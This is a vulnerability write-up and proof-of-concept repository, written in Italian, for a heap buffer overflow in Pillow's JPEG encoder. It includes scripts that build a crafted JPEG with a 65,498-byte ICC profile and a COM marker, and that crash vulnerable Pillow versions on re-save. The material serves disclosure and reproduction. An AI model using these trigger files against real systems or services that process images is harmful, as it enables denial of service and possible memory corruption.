Proof-of-concept e analisi tecnica per CVE-2026-96778, un heap buffer overflow nell'encoder JPEG di Pillow innescato da un profilo ICC insieme a un marker COM al momento del salvataggio.
Questo repository contiene una Proof of Concept (PoC), una prova di riproduzione e un'analisi tecnica per CVE-2026-96778, un heap buffer overflow nella libreria Pillow (Python Imaging Library).
Breve riepilogo: il salvataggio ripetuto di un'immagine JPEG che contiene un profilo ICC di dimensioni esatte e un commento (marcatore COM) provoca una scrittura oltre il buffer dell'encoder di 65.536 byte, corrompe i metadati dell'heap e può causare denial of service (crash) fino all'esecuzione di codice.
| Campo | Valore |
|---|---|
| CVE ID | CVE-2026-96778 |
| Componente | src/libImaging/JpegEncode.c — ImagingJpegEncode() |
| Punto vulnerabile | Riga 282 (jpeg_write_marker per il marcatore COM) |
| Tipo | Heap Buffer Overflow (CWE-122) |
| Intervallo interessato | Pillow 9.4.0 – <13.0.0 |
| Corretto in | Pillow 13.0.0 |
| Impatto | DoS (SIGSEGV/SIGABRT), potenziale RCE |
| Vettore | Locale / interazione utente (apertura e salvataggio ripetuto dell'immagine) |
| Advisory | GHSA-g7cr-3p24-7wf7 |
JpegImagePlugin._save() calcola la dimensione del buffer di output solo da
exif e extra (profilo ICC), senza lasciare spazio per il commento._encode_to_file() (src/encode.c:186) alloca un buffer
MAXBLOCK = 65.536 byte.free_in_buffer == 0.jpeg_write_marker() per scrivere il marcatore COM
(JpegEncode.c:282), libjpeg scrive prima 1 byte, e solo
successivamente decrementa il contatore size_t free_in_buffer.ENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK
JFIF_HEADER = 20 # SOI + APP0 (ditulis jpeg_start_compress)
ICC_OVERHEAD = 18 # FFE2 <len> "ICC_PROFILE\0" <seq> <count>
ICC_PAYLOAD = 65536 - 20 - 18 = 65498 # tepat penuh
Con ICC_PAYLOAD = 65498, il buffer si riempie esattamente fino all'ultimo byte.
L'aggiunta di un marker COM (di qualsiasi lunghezza, da 1 a 65533 byte) provoca un overflow.
Un commento della dimensione massima legale (65.533 byte) fa sì che l'overflow scriva una
grande quantità di dati, rendendo il crash più deterministico. Un commento piccolo (ad es. 32 byte)
provoca comunque un Invalid write in Valgrind, ma non necessariamente un crash in runtime
normale (a seconda del layout dell'heap e dell'allocatore).
| Componente | Valore |
|---|---|
| OS | Ubuntu Linux x86_64 |
| Kernel | Linux 6.x |
| Python | 3.12.3 |
| Valgrind | 3.22.0 |
| libjpeg | 8.2.2 (/usr/lib/x86_64-linux-gnu/libjpeg.so.8.2.2) |
| Compilatore | gcc 13.3.0 |
| Pillow testato | 9.4.0, 9.5.0, 13.0.0 |
| Sorgente Pillow | build da sorgente (pip install -e .) |
make_trigger.py — Generatore di JPEG triggerCrea trigger.jpg con un profilo ICC di 65.498 byte e un marker COM.
from PIL import Image
import io, struct
im = Image.new("RGB", (16, 16), (255, 0, 0))
buf = io.BytesIO()
im.save(buf, "JPEG", quality=90)
base_jpeg = buf.getvalue()
icc_data = b"\x00" * 65498
icc_header = b"ICC_PROFILE\x00" + bytes([1, 1])
app2_payload = icc_header + icc_data
def make_app2(payload):
length = len(payload) + 2
return b"\xFF\xE2" + struct.pack(">H", length) + payload
def make_com(comment: bytes):
length = len(comment) + 2
return b"\xFF\xFE" + struct.pack(">H", length) + comment
assert base_jpeg[:2] == b"\xFF\xD8"
trigger = base_jpeg[:2] + make_app2(app2_payload) + make_com(b"X" * 32) + base_jpeg[2:]
with open("trigger.jpg", "wb") as f:
f.write(trigger)
print("trigger.jpg dibuat:", len(trigger), "byte")
repro_cve.py — Riproduzione Valgrind-Friendlyfrom PIL import Image
im = Image.open("trigger.jpg")
print("Ukuran:", im.size, "format:", im.format)
print("Punya ICC:", "icc_profile" in im.info)
print("Punya komentar:", "comment" in im.info)
im.save("out.jpg", "JPEG", icc_profile=im.info.get("icc_profile"))
print("Selesai menyimpan ulang.")
Esegui con Valgrind:
python3 make_trigger.py
valgrind --error-exitcode=1 python3 repro_cve.py 2> valgrind.log
poc_advisory.py — PoC di Riferimento (Rilevamento Crash)Basato sull'advisory ufficiale GHSA-g7cr-3p24-7wf7.
Esegue im.save() in un processo figlio e controlla lo stato di uscita
(negativo = terminato da un segnale).
#!/usr/bin/env python3
# Pillow heap buffer overflow in ImagingJpegEncode() (JpegEncode.c, case 4).
import random, struct, subprocess, sys
from io import BytesIO
from PIL import Image
ENCODER_BUFFER = 65536
JFIF_HEADER = 20
ICC_OVERHEAD = 18
ICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498
COMMENT = b"C" * 65533
RESAVE = """
import sys
from io import BytesIO
from PIL import Image
im = Image.open(BytesIO(sys.stdin.buffer.read()))
im.save(BytesIO(), "JPEG", icc_profile=im.info["icc_profile"])
print("save returned normally")
"""
def segment(marker, payload):
return bytes([0xFF, marker]) + struct.pack(">H", len(payload) + 2) + payload
def make_jpeg(with_comment):
noise = random.Random(1234).randbytes(256 * 256 * 3)
out = BytesIO()
Image.frombytes("RGB", (256, 256), noise).save(out, "JPEG", quality=95)
plain = out.getvalue()
icc = segment(0xE2, b"ICC_PROFILE\0\x01\x01" + b"I" * ICC_PAYLOAD)
com = segment(0xFE, COMMENT) if with_comment else b""
return plain[:2] + icc + com + plain[2:]
def resave(jpeg):
cmd = [sys.executable, "-X", "faulthandler", "-c", RESAVE]
r = subprocess.run(cmd, input=jpeg, capture_output=True)
print((r.stdout + r.stderr).decode(errors="replace").strip())
print(f"-> exit status {r.returncode}")
return r.returncode
print("Control: re-save the JPEG without a comment")
resave(make_jpeg(with_comment=False))
print(f"\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment")
rc = resave(make_jpeg(with_comment=True))
if rc < 0:
print(f"\nim.save() killed the process with signal {-rc}: out-of-bounds heap write")
print("BUG")
else:
print("OK")
| Versione Pillow | Sorgente di importazione | Valgrind | PoC advisory | Stato |
|---|---|---|---|---|
| 9.4.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + heap corrupt | BUG (SIGSEGV) | VULNERABILE |
| 9.5.0 | /mnt/Pillow/src/PIL | Invalid write ×5 + heap corrupt | BUG (SIGSEGV) | VULNERABILE |
| 13.0.0 | /mnt/Pillow-13/src/PIL | 0 errors | OK | SICURO |